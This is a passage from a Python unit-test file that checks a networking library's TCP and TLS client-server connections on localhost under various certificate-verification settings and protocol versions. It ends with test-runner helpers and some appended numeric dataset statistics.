console.terse("Connecting beta to alpha when alpha up\n")
while True:
beta.serviceConnect()
alpha.serviceConnects()
if beta.connected and beta.ca in alpha.ixes:
break
beta.store.advanceStamp(0.05)
time.sleep(0.05)
self.assertIs(beta.accepted, True)
self.assertIs(beta.connected, True)
self.assertIs(beta.cutoff, False)
self.assertEqual(beta.ca, beta.cs.getsockname())
self.assertEqual(beta.ha, beta.cs.getpeername())
self.assertEqual(alpha.eha, beta.ha)
ixBeta = alpha.ixes[beta.ca]
self.assertIsNotNone(ixBeta.ca)
self.assertIsNotNone(ixBeta.cs)
self.assertEqual(ixBeta.cs.getsockname(), beta.cs.getpeername())
self.assertEqual(ixBeta.cs.getpeername(), beta.cs.getsockname())
self.assertEqual(ixBeta.ca, beta.ca)
self.assertEqual(ixBeta.ha, beta.ha)
msgOut = b"Beta sends to Alpha"
beta.tx(msgOut)
while not ixBeta.rxbs and beta.txes:
beta.serviceTxes()
alpha.serviceReceivesAllIx()
time.sleep(0.05)
msgIn = bytes(ixBeta.rxbs)
self.assertEqual(msgIn, msgOut)
index = len(ixBeta.rxbs)
alpha.close()
beta.close()
wlBetaRx = wireLogBeta.getRx()
wlBetaTx = wireLogBeta.getTx()
self.assertEqual(wlBetaRx, wlBetaTx) # since wlog is same
wireLogAlpha.close()
wireLogBeta.close()
console.reinit(verbosity=console.Wordage.concise)
def testTLSConnectionDefault(self):
"""
Test TLS connection with default settings
"""
try:
import ssl
except ImportError:
return
console.terse("{0}\n".format(self.testTLSConnectionDefault.__doc__))
console.reinit(verbosity=console.Wordage.profuse)
wireLogAlpha = wiring.WireLog(buffify=True, same=True)
result = wireLogAlpha.reopen()
wireLogBeta = wiring.WireLog(buffify=True, same=True)
result = wireLogBeta.reopen()
#serverKeypath = '/etc/pki/tls/certs/server_key.pem' # local server private key
#serverCertpath = '/etc/pki/tls/certs/server_cert.pem' # local server public cert
#clientCafilepath = '/etc/pki/tls/certs/client.pem' # remote client public cert
#clientKeypath = '/etc/pki/tls/certs/client_key.pem' # local client private key
#clientCertpath = '/etc/pki/tls/certs/client_cert.pem' # local client public cert
#serverCafilepath = '/etc/pki/tls/certs/server.pem' # remote server public cert
serverKeypath = self.certdirpath + '/server_key.pem' # local server private key
serverCertpath = self.certdirpath + '/server_cert.pem' # local server public cert
clientCafilepath = self.certdirpath + '/client.pem' # remote client public cert
clientKeypath = self.certdirpath + '/client_key.pem' # local client private key
clientCertpath = self.certdirpath + '/client_cert.pem' # local client public cert
serverCafilepath = self.certdirpath + '/server.pem' # remote server public cert
alpha = serving.ServerTls(host='localhost',
port = 6101,
bufsize=131072,
wlog=wireLogAlpha,
context=None,
version=None,
certify=None,
keypath=serverKeypath,
certpath=serverCertpath,
cafilepath=clientCafilepath,
)
self.assertIs(alpha.reopen(), True)
self.assertEqual(alpha.ha, ('127.0.0.1', 6101))
serverCertCommonName = 'localhost' # match hostname uses servers's cert commonname
beta = clienting.ClientTls(ha=alpha.ha,
bufsize=131072,
wlog=wireLogBeta,
context=None,
version=None,
certify=None,
hostify=None,
certedhost=serverCertCommonName,
keypath=clientKeypath,
certpath=clientCertpath,
cafilepath=serverCafilepath,
)
self.assertIs(beta.reopen(), True)
self.assertIs(beta.accepted, False)
self.assertIs(beta.connected, False)
self.assertIs(beta.cutoff, False)
console.terse("Connecting and Handshaking beta to alpha\n")
while True:
beta.serviceConnect()
alpha.serviceConnects()
if beta.connected and len(alpha.ixes) >= 1:
break
time.sleep(0.01)
self.assertIs(beta.accepted, True)
self.assertIs(beta.connected, True)
self.assertIs(beta.cutoff, False)
self.assertEqual(beta.ca, beta.cs.getsockname())
self.assertEqual(beta.ha, beta.cs.getpeername())
self.assertIs(beta.connected, True)
ixBeta = alpha.ixes[beta.ca]
self.assertIsNotNone(ixBeta.ca)
self.assertIsNotNone(ixBeta.cs)
self.assertEqual(ixBeta.cs.getsockname(), beta.cs.getpeername())
self.assertEqual(ixBeta.cs.getpeername(), beta.cs.getsockname())
self.assertEqual(ixBeta.ca, beta.ca)
self.assertEqual(ixBeta.ha, beta.ha)
msgOut = b"Beta sends to Alpha\n"
beta.tx(msgOut)
while True:
beta.serviceTxes()
alpha.serviceReceivesAllIx()
time.sleep(0.01)
if not beta.txes and ixBeta.rxbs:
break
time.sleep(0.05)
alpha.serviceReceivesAllIx()
msgIn = bytes(ixBeta.rxbs)
self.assertEqual(msgIn, msgOut)
#index = len(ixBeta.rxbs)
ixBeta.clearRxbs()
msgOut = b'Alpha sends to Beta\n'
ixBeta.tx(msgOut)
while True:
alpha.serviceTxesAllIx()
beta.serviceReceives()
time.sleep(0.01)
if not ixBeta.txes and beta.rxbs:
break
msgIn = bytes(beta.rxbs)
self.assertEqual(msgIn, msgOut)
#index = len(beta.rxbs)
beta.clearRxbs()
alpha.close()
beta.close()
self.assertEqual(wireLogAlpha.getRx(), wireLogAlpha.getTx()) # since wlog is same
self.assertTrue(b"Beta sends to Alpha\n" in wireLogAlpha.getRx())
self.assertTrue(b"Alpha sends to Beta\n" in wireLogAlpha.getRx())
self.assertEqual(wireLogBeta.getRx(), wireLogBeta.getTx()) # since wlog is same
self.assertTrue(b"Beta sends to Alpha\n" in wireLogBeta.getRx())
self.assertTrue(b"Alpha sends to Beta\n" in wireLogBeta.getRx())
wireLogAlpha.close()
wireLogBeta.close()
console.reinit(verbosity=console.Wordage.concise)
def testTLSConnectionVerifyNeither(self):
"""
Test TLS client server connection with neither verify certs
"""
try:
import ssl
except ImportError:
return
console.terse("{0}\n".format(self.testTLSConnectionVerifyNeither.__doc__))
console.reinit(verbosity=console.Wordage.profuse)
wireLogAlpha = wiring.WireLog(buffify=True, same=True)
result = wireLogAlpha.reopen()
wireLogBeta = wiring.WireLog(buffify=True, same=True)
result = wireLogBeta.reopen()
#serverKeypath = '/etc/pki/tls/certs/server_key.pem' # local server private key
#serverCertpath = '/etc/pki/tls/certs/server_cert.pem' # local server public cert
#clientCafilepath = '/etc/pki/tls/certs/client.pem' # remote client public cert
#clientKeypath = '/etc/pki/tls/certs/client_key.pem' # local client private key
#clientCertpath = '/etc/pki/tls/certs/client_cert.pem' # local client public cert
#serverCafilepath = '/etc/pki/tls/certs/server.pem' # remote server public cert
serverKeypath = self.certdirpath + '/server_key.pem' # local server private key
serverCertpath = self.certdirpath + '/server_cert.pem' # local server public cert
clientCafilepath = self.certdirpath + '/client.pem' # remote client public cert
clientKeypath = self.certdirpath + '/client_key.pem' # local client private key
clientCertpath = self.certdirpath + '/client_cert.pem' # local client public cert
serverCafilepath = self.certdirpath + '/server.pem' # remote server public cert
alpha = serving.ServerTls(host='localhost',
port = 6101,
bufsize=131072,
wlog=wireLogAlpha,
context=None,
version=None,
certify=ssl.CERT_NONE,
keypath=serverKeypath,
certpath=serverCertpath,
cafilepath=clientCafilepath,
)
self.assertIs(alpha.reopen(), True)
self.assertEqual(alpha.ha, ('127.0.0.1', 6101))
serverCertCommonName = 'localhost' # match hostname uses servers's cert commonname
beta = clienting.ClientTls(ha=alpha.ha,
bufsize=131072,
wlog=wireLogBeta,
context=None,
version=None,
certify=ssl.CERT_NONE,
hostify=False,
certedhost=serverCertCommonName,
keypath=clientKeypath,
certpath=clientCertpath,
cafilepath=serverCafilepath,
)
self.assertIs(beta.reopen(), True)
self.assertIs(beta.accepted, False)
self.assertIs(beta.connected, False)
self.assertIs(beta.cutoff, False)
console.terse("Connecting and Handshaking beta to alpha\n")
while True:
beta.serviceConnect()
alpha.serviceConnects()
if beta.connected and len(alpha.ixes) >= 1:
break
time.sleep(0.01)
self.assertIs(beta.accepted, True)
self.assertIs(beta.connected, True)
self.assertIs(beta.cutoff, False)
self.assertEqual(beta.ca, beta.cs.getsockname())
self.assertEqual(beta.ha, beta.cs.getpeername())
self.assertIs(beta.connected, True)
ixBeta = alpha.ixes[beta.ca]
self.assertIsNotNone(ixBeta.ca)
self.assertIsNotNone(ixBeta.cs)
self.assertEqual(ixBeta.cs.getsockname(), beta.cs.getpeername())
self.assertEqual(ixBeta.cs.getpeername(), beta.cs.getsockname())
self.assertEqual(ixBeta.ca, beta.ca)
self.assertEqual(ixBeta.ha, beta.ha)
msgOut = b"Beta sends to Alpha\n"
beta.tx(msgOut)
while True:
beta.serviceTxes()
alpha.serviceReceivesAllIx()
time.sleep(0.01)
if not beta.txes and ixBeta.rxbs:
break
time.sleep(0.05)
alpha.serviceReceivesAllIx()
msgIn = bytes(ixBeta.rxbs)
self.assertEqual(msgIn, msgOut)
#index = len(ixBeta.rxbs)
ixBeta.clearRxbs()
msgOut = b'Alpha sends to Beta\n'
ixBeta.tx(msgOut)
while True:
alpha.serviceTxesAllIx()
beta.serviceReceives()
time.sleep(0.01)
if not ixBeta.txes and beta.rxbs:
break
msgIn = bytes(beta.rxbs)
self.assertEqual(msgIn, msgOut)
#index = len(beta.rxbs)
beta.clearRxbs()
alpha.close()
beta.close()
self.assertEqual(wireLogAlpha.getRx(), wireLogAlpha.getTx()) # since wlog is same
self.assertTrue(b"Beta sends to Alpha\n" in wireLogAlpha.getRx())
self.assertTrue(b"Alpha sends to Beta\n" in wireLogAlpha.getRx())
self.assertEqual(wireLogBeta.getRx(), wireLogBeta.getTx()) # since wlog is same
self.assertTrue(b"Beta sends to Alpha\n" in wireLogBeta.getRx())
self.assertTrue(b"Alpha sends to Beta\n" in wireLogBeta.getRx())
wireLogAlpha.close()
wireLogBeta.close()
console.reinit(verbosity=console.Wordage.concise)
def testTLSConnectionClientVerifyServerCert(self):
"""
Test TLS client server connection with neither verify certs
"""
try:
import ssl
except ImportError:
return
console.terse("{0}\n".format(self.testTLSConnectionClientVerifyServerCert.__doc__))
console.reinit(verbosity=console.Wordage.profuse)
wireLogAlpha = wiring.WireLog(buffify=True, same=True)
result = wireLogAlpha.reopen()
wireLogBeta = wiring.WireLog(buffify=True, same=True)
result = wireLogBeta.reopen()
serverKeypath = os.path.join(self.certdirpath, 'server_key.pem') # local server private key
serverCertpath = os.path.join(self.certdirpath, 'server_cert.pem') # local server public cert
clientCafilepath = os.path.join(self.certdirpath, 'client.pem') # remote client public cert
clientKeypath = os.path.join(self.certdirpath, 'client_key.pem') # local client private key
clientCertpath = os.path.join(self.certdirpath, 'client_cert.pem') # local client public cert
serverCafilepath = os.path.join(self.certdirpath, 'server.pem') # remote server public cert
alpha = serving.ServerTls(host='localhost',
port = 6101,
bufsize=131072,
wlog=wireLogAlpha,
context=None,
version=None,
certify=ssl.CERT_NONE,
keypath=serverKeypath,
certpath=serverCertpath,
cafilepath=clientCafilepath,
)
self.assertIs(alpha.reopen(), True)
self.assertEqual(alpha.ha, ('127.0.0.1', 6101))
serverCertCommonName = 'localhost' # match hostname uses servers's cert commonname
beta = clienting.ClientTls(ha=alpha.ha,
bufsize=131072,
wlog=wireLogBeta,
context=None,
version=None,
certify=ssl.CERT_REQUIRED,
hostify=True,
certedhost=serverCertCommonName,
keypath=clientKeypath,
certpath=clientCertpath,
cafilepath=serverCafilepath,
)
self.assertIs(beta.reopen(), True)
self.assertIs(beta.accepted, False)
self.assertIs(beta.connected, False)
self.assertIs(beta.cutoff, False)
console.terse("Connecting and Handshaking beta to alpha\n")
while True:
beta.serviceConnect()
alpha.serviceConnects()
if beta.connected and len(alpha.ixes) >= 1:
break
time.sleep(0.01)
self.assertIs(beta.accepted, True)
self.assertIs(beta.connected, True)
self.assertIs(beta.cutoff, False)
self.assertEqual(beta.ca, beta.cs.getsockname())
self.assertEqual(beta.ha, beta.cs.getpeername())
self.assertIs(beta.connected, True)
ixBeta = alpha.ixes[beta.ca]
self.assertIsNotNone(ixBeta.ca)
self.assertIsNotNone(ixBeta.cs)
self.assertEqual(ixBeta.cs.getsockname(), beta.cs.getpeername())
self.assertEqual(ixBeta.cs.getpeername(), beta.cs.getsockname())
self.assertEqual(ixBeta.ca, beta.ca)
self.assertEqual(ixBeta.ha, beta.ha)
msgOut = b"Beta sends to Alpha\n"
beta.tx(msgOut)
while True:
beta.serviceTxes()
alpha.serviceReceivesAllIx()
time.sleep(0.01)
if not beta.txes and ixBeta.rxbs:
break
time.sleep(0.05)
alpha.serviceReceivesAllIx()
msgIn = bytes(ixBeta.rxbs)
self.assertEqual(msgIn, msgOut)
#index = len(ixBeta.rxbs)
ixBeta.clearRxbs()
msgOut = b'Alpha sends to Beta\n'
ixBeta.tx(msgOut)
while True:
alpha.serviceTxesAllIx()
beta.serviceReceives()
time.sleep(0.01)
if not ixBeta.txes and beta.rxbs:
break
msgIn = bytes(beta.rxbs)
self.assertEqual(msgIn, msgOut)
#index = len(beta.rxbs)
beta.clearRxbs()
alpha.close()
beta.close()
self.assertEqual(wireLogAlpha.getRx(), wireLogAlpha.getTx()) # since wlog is same
self.assertTrue(b"Beta sends to Alpha\n" in wireLogAlpha.getRx())
self.assertTrue(b"Alpha sends to Beta\n" in wireLogAlpha.getRx())
self.assertEqual(wireLogBeta.getRx(), wireLogBeta.getTx()) # since wlog is same
self.assertTrue(b"Beta sends to Alpha\n" in wireLogBeta.getRx())
self.assertTrue(b"Alpha sends to Beta\n" in wireLogBeta.getRx())
wireLogAlpha.close()
wireLogBeta.close()
console.reinit(verbosity=console.Wordage.concise)
def testTLSConnectionServerVerifyClientCert(self):
"""
Test TLS client server connection with neither verify certs
"""
try:
import ssl
except ImportError:
return
console.terse("{0}\n".format(self.testTLSConnectionServerVerifyClientCert.__doc__))
console.reinit(verbosity=console.Wordage.profuse)
wireLogAlpha = wiring.WireLog(buffify=True, same=True)
result = wireLogAlpha.reopen()
wireLogBeta = wiring.WireLog(buffify=True, same=True)
result = wireLogBeta.reopen()
serverKeypath = os.path.join(self.certdirpath, 'server_key.pem') # local server private key
serverCertpath = os.path.join(self.certdirpath, 'server_cert.pem') # local server public cert
clientCafilepath = os.path.join(self.certdirpath, 'client.pem') # remote client public cert
clientKeypath = os.path.join(self.certdirpath, 'client_key.pem') # local client private key
clientCertpath = os.path.join(self.certdirpath, 'client_cert.pem') # local client public cert
serverCafilepath = os.path.join(self.certdirpath, 'server.pem') # remote server public cert
alpha = serving.ServerTls(host='localhost',
port = 6101,
bufsize=131072,
wlog=wireLogAlpha,
context=None,
version=None,
certify=ssl.CERT_REQUIRED,
keypath=serverKeypath,
certpath=serverCertpath,
cafilepath=clientCafilepath,
)
self.assertIs(alpha.reopen(), True)
self.assertEqual(alpha.ha, ('127.0.0.1', 6101))
serverCertCommonName = 'localhost' # match hostname uses servers's cert commonname
beta = clienting.ClientTls(ha=alpha.ha,
bufsize=131072,
wlog=wireLogBeta,
context=None,
version=None,
certify=ssl.CERT_NONE,
hostify=False,
certedhost=serverCertCommonName,
keypath=clientKeypath,
certpath=clientCertpath,
cafilepath=serverCafilepath,
)
self.assertIs(beta.reopen(), True)
self.assertIs(beta.accepted, False)
self.assertIs(beta.connected, False)
self.assertIs(beta.cutoff, False)
console.terse("Connecting and Handshaking beta to alpha\n")
while True:
beta.serviceConnect()
alpha.serviceConnects()
if beta.connected and len(alpha.ixes) >= 1:
break
time.sleep(0.01)
self.assertIs(beta.accepted, True)
self.assertIs(beta.connected, True)
self.assertIs(beta.cutoff, False)
self.assertEqual(beta.ca, beta.cs.getsockname())
self.assertEqual(beta.ha, beta.cs.getpeername())
self.assertIs(beta.connected, True)
ixBeta = alpha.ixes[beta.ca]
self.assertIsNotNone(ixBeta.ca)
self.assertIsNotNone(ixBeta.cs)
self.assertEqual(ixBeta.cs.getsockname(), beta.cs.getpeername())
self.assertEqual(ixBeta.cs.getpeername(), beta.cs.getsockname())
self.assertEqual(ixBeta.ca, beta.ca)
self.assertEqual(ixBeta.ha, beta.ha)
msgOut = b"Beta sends to Alpha\n"
beta.tx(msgOut)
while True:
beta.serviceTxes()
alpha.serviceReceivesAllIx()
time.sleep(0.01)
if not beta.txes and ixBeta.rxbs:
break
time.sleep(0.05)
alpha.serviceReceivesAllIx()
msgIn = bytes(ixBeta.rxbs)
self.assertEqual(msgIn, msgOut)
#index = len(ixBeta.rxbs)
ixBeta.clearRxbs()
msgOut = b'Alpha sends to Beta\n'
ixBeta.tx(msgOut)
while True:
alpha.serviceTxesAllIx()
beta.serviceReceives()
time.sleep(0.01)
if not ixBeta.txes and beta.rxbs:
break
msgIn = bytes(beta.rxbs)
self.assertEqual(msgIn, msgOut)
#index = len(beta.rxbs)
beta.clearRxbs()
alpha.close()
beta.close()
self.assertEqual(wireLogAlpha.getRx(), wireLogAlpha.getTx()) # since wlog is same
self.assertTrue(b"Beta sends to Alpha\n" in wireLogAlpha.getRx())
self.assertTrue(b"Alpha sends to Beta\n" in wireLogAlpha.getRx())
self.assertEqual(wireLogBeta.getRx(), wireLogBeta.getTx()) # since wlog is same
self.assertTrue(b"Beta sends to Alpha\n" in wireLogBeta.getRx())
self.assertTrue(b"Alpha sends to Beta\n" in wireLogBeta.getRx())
wireLogAlpha.close()
wireLogBeta.close()
console.reinit(verbosity=console.Wordage.concise)
def testTLSConnectionVerifyBoth(self):
"""
Test TLS client server connection with neither verify certs
"""
try:
import ssl
except ImportError:
return
console.terse("{0}\n".format(self.testTLSConnectionVerifyBoth.__doc__))
console.reinit(verbosity=console.Wordage.profuse)
wireLogAlpha = wiring.WireLog(buffify=True, same=True)
result = wireLogAlpha.reopen()
wireLogBeta = wiring.WireLog(buffify=True, same=True)
result = wireLogBeta.reopen()
serverKeypath = os.path.join(self.certdirpath, 'server_key.pem') # local server private key
serverCertpath = os.path.join(self.certdirpath, 'server_cert.pem') # local server public cert
clientCafilepath = os.path.join(self.certdirpath, 'client.pem') # remote client public cert
clientKeypath = os.path.join(self.certdirpath, 'client_key.pem') # local client private key
clientCertpath = os.path.join(self.certdirpath, 'client_cert.pem') # local client public cert
serverCafilepath = os.path.join(self.certdirpath, 'server.pem') # remote server public cert
alpha = serving.ServerTls(host='localhost',
port = 6101,
bufsize=131072,
wlog=wireLogAlpha,
context=None,
version=None,
certify=ssl.CERT_REQUIRED,
keypath=serverKeypath,
certpath=serverCertpath,
cafilepath=clientCafilepath,
)
self.assertIs(alpha.reopen(), True)
self.assertEqual(alpha.ha, ('127.0.0.1', 6101))
serverCertCommonName = 'localhost' # match hostname uses servers's cert commonname
beta = clienting.ClientTls(ha=alpha.ha,
bufsize=131072,
wlog=wireLogBeta,
context=None,
version=None,
certify=ssl.CERT_REQUIRED,
hostify=True,
certedhost=serverCertCommonName,
keypath=clientKeypath,
certpath=clientCertpath,
cafilepath=serverCafilepath,
)
self.assertIs(beta.reopen(), True)
self.assertIs(beta.accepted, False)
self.assertIs(beta.connected, False)
self.assertIs(beta.cutoff, False)
console.terse("Connecting and Handshaking beta to alpha\n")
while True:
beta.serviceConnect()
alpha.serviceConnects()
if beta.connected and len(alpha.ixes) >= 1:
break
time.sleep(0.01)
self.assertIs(beta.accepted, True)
self.assertIs(beta.connected, True)
self.assertIs(beta.cutoff, False)
self.assertEqual(beta.ca, beta.cs.getsockname())
self.assertEqual(beta.ha, beta.cs.getpeername())
self.assertIs(beta.connected, True)
ixBeta = alpha.ixes[beta.ca]
self.assertIsNotNone(ixBeta.ca)
self.assertIsNotNone(ixBeta.cs)
self.assertEqual(ixBeta.cs.getsockname(), beta.cs.getpeername())
self.assertEqual(ixBeta.cs.getpeername(), beta.cs.getsockname())
self.assertEqual(ixBeta.ca, beta.ca)
self.assertEqual(ixBeta.ha, beta.ha)
msgOut = b"Beta sends to Alpha\n"
beta.tx(msgOut)
while True:
beta.serviceTxes()
alpha.serviceReceivesAllIx()
time.sleep(0.01)
if not beta.txes and ixBeta.rxbs:
break
time.sleep(0.05)
alpha.serviceReceivesAllIx()
msgIn = bytes(ixBeta.rxbs)
self.assertEqual(msgIn, msgOut)
#index = len(ixBeta.rxbs)
ixBeta.clearRxbs()
msgOut = b'Alpha sends to Beta\n'
ixBeta.tx(msgOut)
while True:
alpha.serviceTxesAllIx()
beta.serviceReceives()
time.sleep(0.01)
if not ixBeta.txes and beta.rxbs:
break
msgIn = bytes(beta.rxbs)
self.assertEqual(msgIn, msgOut)
#index = len(beta.rxbs)
beta.clearRxbs()
alpha.close()
beta.close()
self.assertEqual(wireLogAlpha.getRx(), wireLogAlpha.getTx()) # since wlog is same
self.assertTrue(b"Beta sends to Alpha\n" in wireLogAlpha.getRx())
self.assertTrue(b"Alpha sends to Beta\n" in wireLogAlpha.getRx())
self.assertEqual(wireLogBeta.getRx(), wireLogBeta.getTx()) # since wlog is same
self.assertTrue(b"Beta sends to Alpha\n" in wireLogBeta.getRx())
self.assertTrue(b"Alpha sends to Beta\n" in wireLogBeta.getRx())
wireLogAlpha.close()
wireLogBeta.close()
console.reinit(verbosity=console.Wordage.concise)
def testTLSConnectionVerifyBothTLSv1(self):
"""
Test TLS client server connection with neither verify certs
"""
try:
import ssl
except ImportError:
return
console.terse("{0}\n".format(self.testTLSConnectionVerifyBothTLSv1.__doc__))
console.reinit(verbosity=console.Wordage.profuse)
wireLogAlpha = wiring.WireLog(buffify=True, same=True)
result = wireLogAlpha.reopen()
wireLogBeta = wiring.WireLog(buffify=True, same=True)
result = wireLogBeta.reopen()
serverKeypath = os.path.join(self.certdirpath, 'server_key.pem') # local server private key
serverCertpath = os.path.join(self.certdirpath, 'server_cert.pem') # local server public cert
clientCafilepath = os.path.join(self.certdirpath, 'client.pem') # remote client public cert
clientKeypath = os.path.join(self.certdirpath, 'client_key.pem') # local client private key
clientCertpath = os.path.join(self.certdirpath, 'client_cert.pem') # local client public cert
serverCafilepath = os.path.join(self.certdirpath, 'server.pem') # remote server public cert
alpha = serving.ServerTls(host='localhost',
port = 6101,
bufsize=131072,
wlog=wireLogAlpha,
context=None,
version=ssl.PROTOCOL_TLSv1,
certify=ssl.CERT_REQUIRED,
keypath=serverKeypath,
certpath=serverCertpath,
cafilepath=clientCafilepath,
)
self.assertIs(alpha.reopen(), True)
self.assertEqual(alpha.ha, ('127.0.0.1', 6101))
serverCertCommonName = 'localhost' # match hostname uses servers's cert commonname
beta = clienting.ClientTls(ha=alpha.ha,
bufsize=131072,
wlog=wireLogBeta,
context=None,
version=ssl.PROTOCOL_TLSv1,
certify=ssl.CERT_REQUIRED,
hostify=True,
certedhost=serverCertCommonName,
keypath=clientKeypath,
certpath=clientCertpath,
cafilepath=serverCafilepath,
)
self.assertIs(beta.reopen(), True)
self.assertIs(beta.accepted, False)
self.assertIs(beta.connected, False)
self.assertIs(beta.cutoff, False)
console.terse("Connecting and Handshaking beta to alpha\n")
while True:
beta.serviceConnect()
alpha.serviceConnects()
if beta.connected and len(alpha.ixes) >= 1:
break
time.sleep(0.01)
self.assertIs(beta.accepted, True)
self.assertIs(beta.connected, True)
self.assertIs(beta.cutoff, False)
self.assertEqual(beta.ca, beta.cs.getsockname())
self.assertEqual(beta.ha, beta.cs.getpeername())
self.assertIs(beta.connected, True)
ixBeta = alpha.ixes[beta.ca]
self.assertIsNotNone(ixBeta.ca)
self.assertIsNotNone(ixBeta.cs)
self.assertEqual(ixBeta.cs.getsockname(), beta.cs.getpeername())
self.assertEqual(ixBeta.cs.getpeername(), beta.cs.getsockname())
self.assertEqual(ixBeta.ca, beta.ca)
self.assertEqual(ixBeta.ha, beta.ha)
msgOut = b"Beta sends to Alpha\n"
beta.tx(msgOut)
while True:
beta.serviceTxes()
alpha.serviceReceivesAllIx()
time.sleep(0.01)
if not beta.txes and ixBeta.rxbs:
break
time.sleep(0.05)
alpha.serviceReceivesAllIx()
msgIn = bytes(ixBeta.rxbs)
self.assertEqual(msgIn, msgOut)
#index = len(ixBeta.rxbs)
ixBeta.clearRxbs()
msgOut = b'Alpha sends to Beta\n'
ixBeta.tx(msgOut)
while True:
alpha.serviceTxesAllIx()
beta.serviceReceives()
time.sleep(0.01)
if not ixBeta.txes and beta.rxbs:
break
msgIn = bytes(beta.rxbs)
self.assertEqual(msgIn, msgOut)
#index = len(beta.rxbs)
beta.clearRxbs()
alpha.close()
beta.close()
self.assertEqual(wireLogAlpha.getRx(), wireLogAlpha.getTx()) # since wlog is same
self.assertTrue(b"Beta sends to Alpha\n" in wireLogAlpha.getRx())
self.assertTrue(b"Alpha sends to Beta\n" in wireLogAlpha.getRx())
self.assertEqual(wireLogBeta.getRx(), wireLogBeta.getTx()) # since wlog is same
self.assertTrue(b"Beta sends to Alpha\n" in wireLogBeta.getRx())
self.assertTrue(b"Alpha sends to Beta\n" in wireLogBeta.getRx())
wireLogAlpha.close()
wireLogBeta.close()
console.reinit(verbosity=console.Wordage.concise)
def testTLSConnectionVerifyBothTLS(self):
"""
Test TLS client server connection with neither verify certs
"""
try:
import ssl
except ImportError:
return
console.terse("{0}\n".format(self.testTLSConnectionVerifyBothTLSv1.__doc__))
console.reinit(verbosity=console.Wordage.profuse)
wireLogAlpha = wiring.WireLog(buffify=True, same=True)
result = wireLogAlpha.reopen()
wireLogBeta = wiring.WireLog(buffify=True, same=True)
result = wireLogBeta.reopen()
serverKeypath = os.path.join(self.certdirpath, 'server_key.pem') # local server private key
serverCertpath = os.path.join(self.certdirpath, 'server_cert.pem') # local server public cert
clientCafilepath = os.path.join(self.certdirpath, 'client.pem') # remote client public cert
clientKeypath = os.path.join(self.certdirpath, 'client_key.pem') # local client private key
clientCertpath = os.path.join(self.certdirpath, 'client_cert.pem') # local client public cert
serverCafilepath = os.path.join(self.certdirpath, 'server.pem') # remote server public cert
alpha = serving.ServerTls(host='localhost',
port = 6101,
bufsize=131072,
wlog=wireLogAlpha,
context=None,
version=ssl.PROTOCOL_TLS,
certify=ssl.CERT_REQUIRED,
keypath=serverKeypath,
certpath=serverCertpath,
cafilepath=clientCafilepath,
)
self.assertIs(alpha.reopen(), True)
self.assertEqual(alpha.ha, ('127.0.0.1', 6101))
serverCertCommonName = 'localhost' # match hostname uses servers's cert commonname
beta = clienting.ClientTls(ha=alpha.ha,
bufsize=131072,
wlog=wireLogBeta,
context=None,
version=ssl.PROTOCOL_TLS,
certify=ssl.CERT_REQUIRED,
hostify=True,
certedhost=serverCertCommonName,
keypath=clientKeypath,
certpath=clientCertpath,
cafilepath=serverCafilepath,
)
self.assertIs(beta.reopen(), True)
self.assertIs(beta.accepted, False)
self.assertIs(beta.connected, False)
self.assertIs(beta.cutoff, False)
console.terse("Connecting and Handshaking beta to alpha\n")
while True:
beta.serviceConnect()
alpha.serviceConnects()
if beta.connected and len(alpha.ixes) >= 1:
break
time.sleep(0.01)
self.assertIs(beta.accepted, True)
self.assertIs(beta.connected, True)
self.assertIs(beta.cutoff, False)
self.assertEqual(beta.ca, beta.cs.getsockname())
self.assertEqual(beta.ha, beta.cs.getpeername())
self.assertIs(beta.connected, True)
ixBeta = alpha.ixes[beta.ca]
self.assertIsNotNone(ixBeta.ca)
self.assertIsNotNone(ixBeta.cs)
self.assertEqual(ixBeta.cs.getsockname(), beta.cs.getpeername())
self.assertEqual(ixBeta.cs.getpeername(), beta.cs.getsockname())
self.assertEqual(ixBeta.ca, beta.ca)
self.assertEqual(ixBeta.ha, beta.ha)
msgOut = b"Beta sends to Alpha\n"
beta.tx(msgOut)
while True:
beta.serviceTxes()
alpha.serviceReceivesAllIx()
time.sleep(0.01)
if not beta.txes and ixBeta.rxbs:
break
time.sleep(0.05)
alpha.serviceReceivesAllIx()
msgIn = bytes(ixBeta.rxbs)
self.assertEqual(msgIn, msgOut)
#index = len(ixBeta.rxbs)
ixBeta.clearRxbs()
msgOut = b'Alpha sends to Beta\n'
ixBeta.tx(msgOut)
while True:
alpha.serviceTxesAllIx()
beta.serviceReceives()
time.sleep(0.01)
if not ixBeta.txes and beta.rxbs:
break
msgIn = bytes(beta.rxbs)
self.assertEqual(msgIn, msgOut)
#index = len(beta.rxbs)
beta.clearRxbs()
alpha.close()
beta.close()
self.assertEqual(wireLogAlpha.getRx(), wireLogAlpha.getTx()) # since wlog is same
self.assertTrue(b"Beta sends to Alpha\n" in wireLogAlpha.getRx())
self.assertTrue(b"Alpha sends to Beta\n" in wireLogAlpha.getRx())
self.assertEqual(wireLogBeta.getRx(), wireLogBeta.getTx()) # since wlog is same
self.assertTrue(b"Beta sends to Alpha\n" in wireLogBeta.getRx())
self.assertTrue(b"Alpha sends to Beta\n" in wireLogBeta.getRx())
wireLogAlpha.close()
wireLogBeta.close()
console.reinit(verbosity=console.Wordage.concise)
def runOne(test):
'''
Unittest Runner
'''
test = BasicTestCase(test)
suite = unittest.TestSuite([test])
unittest.TextTestRunner(verbosity=2).run(suite)
def runSome():
""" Unittest runner """
tests = []
names = [
'testTcpClientServer',
'testTcpClientServerServiceCat',
'testTcpClientServerService',
'testClientAutoReconnect',
'testTLSConnectionDefault',
'testTLSConnectionVerifyNeither',
'testTLSConnectionClientVerifyServerCert',
'testTLSConnectionServerVerifyClientCert',
'testTLSConnectionVerifyBoth',
'testTLSConnectionVerifyBothTLSv1',
'testTLSConnectionVerifyBothTLS',
]
tests.extend(map(BasicTestCase, names))
suite = unittest.TestSuite(tests)
unittest.TextTestRunner(verbosity=2).run(suite)
def runAll():
""" Unittest runner """
suite = unittest.TestSuite()
suite.addTest(unittest.TestLoader().loadTestsFromTestCase(BasicTestCase))
unittest.TextTestRunner(verbosity=2).run(suite)
if __name__ == '__main__' and __package__ is None:
#console.reinit(verbosity=console.Wordage.concise)
#runAll() #run all unittests
runSome()#only run some
#runOne('testClientAutoReconnect')
#runOne('testTLSConnectionVerifyBothTLS')
| 37.445803
| 102
| 0.573903
| 6,827
| 67,365
| 5.645965
| 0.044529
| 0.077442
| 0.041095
| 0.015878
| 0.919419
| 0.904813
| 0.883928
| 0.870697
| 0.864885
| 0.852484
| 0
| 0.014582
| 0.323046
| 67,365
| 1,798
| 103
| 37.46663
| 0.830647
| 0.073525
| 0
| 0.901297
| 0
| 0
| 0.054115
| 0.004827
| 0
| 0
| 0
| 0
| 0.292507
| 1
